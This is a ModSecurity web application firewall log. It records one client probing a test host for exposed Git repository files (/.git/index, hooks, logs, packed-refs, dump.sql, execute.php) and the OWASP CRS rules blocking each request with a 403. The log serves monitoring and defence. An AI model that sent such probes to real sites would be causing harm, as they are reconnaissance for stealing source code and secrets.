[Sun Jun 29 20:13:35.778645 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3QAAAAs&quot;]
[Sun Jun 29 20:13:35.778826 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3QAAAAs&quot;]
[Sun Jun 29 20:13:35.801125 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/execute.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3gAAAAs&quot;]
[Sun Jun 29 20:13:35.801397 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3gAAAAs&quot;]
[Sun Jun 29 20:13:35.801588 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3gAAAAs&quot;]
[Sun Jun 29 20:13:35.832545 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3wAAAAs&quot;]
[Sun Jun 29 20:13:35.832811 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3wAAAAs&quot;]
[Sun Jun 29 20:13:35.833024 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U3wAAAAs&quot;]
[Sun Jun 29 20:13:35.865531 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4AAAAAs&quot;]
[Sun Jun 29 20:13:35.865783 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4AAAAAs&quot;]
[Sun Jun 29 20:13:35.865991 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4AAAAAs&quot;]
[Sun Jun 29 20:13:35.913054 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-push&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4QAAAAs&quot;]
[Sun Jun 29 20:13:35.913349 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4QAAAAs&quot;]
[Sun Jun 29 20:13:35.913555 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4QAAAAs&quot;]
[Sun Jun 29 20:13:35.936114 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4gAAAAs&quot;]
[Sun Jun 29 20:13:35.936386 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4gAAAAs&quot;]
[Sun Jun 29 20:13:35.936574 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4gAAAAs&quot;]
[Sun Jun 29 20:13:35.971568 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4wAAAAs&quot;]
[Sun Jun 29 20:13:35.971821 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4wAAAAs&quot;]
[Sun Jun 29 20:13:35.972009 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U4wAAAAs&quot;]
[Sun Jun 29 20:13:35.993900 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U5AAAAAs&quot;]
[Sun Jun 29 20:13:35.994152 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U5AAAAAs&quot;]
[Sun Jun 29 20:13:35.994353 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U5AAAAAs&quot;]
[Sun Jun 29 20:13:44.644767 2025] [:error] [pid 3059541] [client 185.177.72.107:22382] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aGGCWKAIGT5SiqI9BxP-YgAAAAc&quot;]
[Sun Jun 29 20:13:44.645027 2025] [:error] [pid 3059541] [client 185.177.72.107:22382] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aGGCWKAIGT5SiqI9BxP-YgAAAAc&quot;]
[Sun Jun 29 20:13:44.645224 2025] [:error] [pid 3059541] [client 185.177.72.107:22382] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aGGCWKAIGT5SiqI9BxP-YgAAAAc&quot;]
[Sun Jun 29 20:13:58.705222 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0gAAAAQ&quot;]
[Sun Jun 29 20:13:58.705479 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0gAAAAQ&quot;]
[Sun Jun 29 20:13:58.705671 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0gAAAAQ&quot;]
[Sun Jun 29 20:13:58.810900 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0wAAAAQ&quot;]
[Sun Jun 29 20:13:58.811157 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0wAAAAQ&quot;]
[Sun Jun 29 20:13:58.811349 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF0wAAAAQ&quot;]
[Sun Jun 29 20:13:58.831722 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1AAAAAQ&quot;]
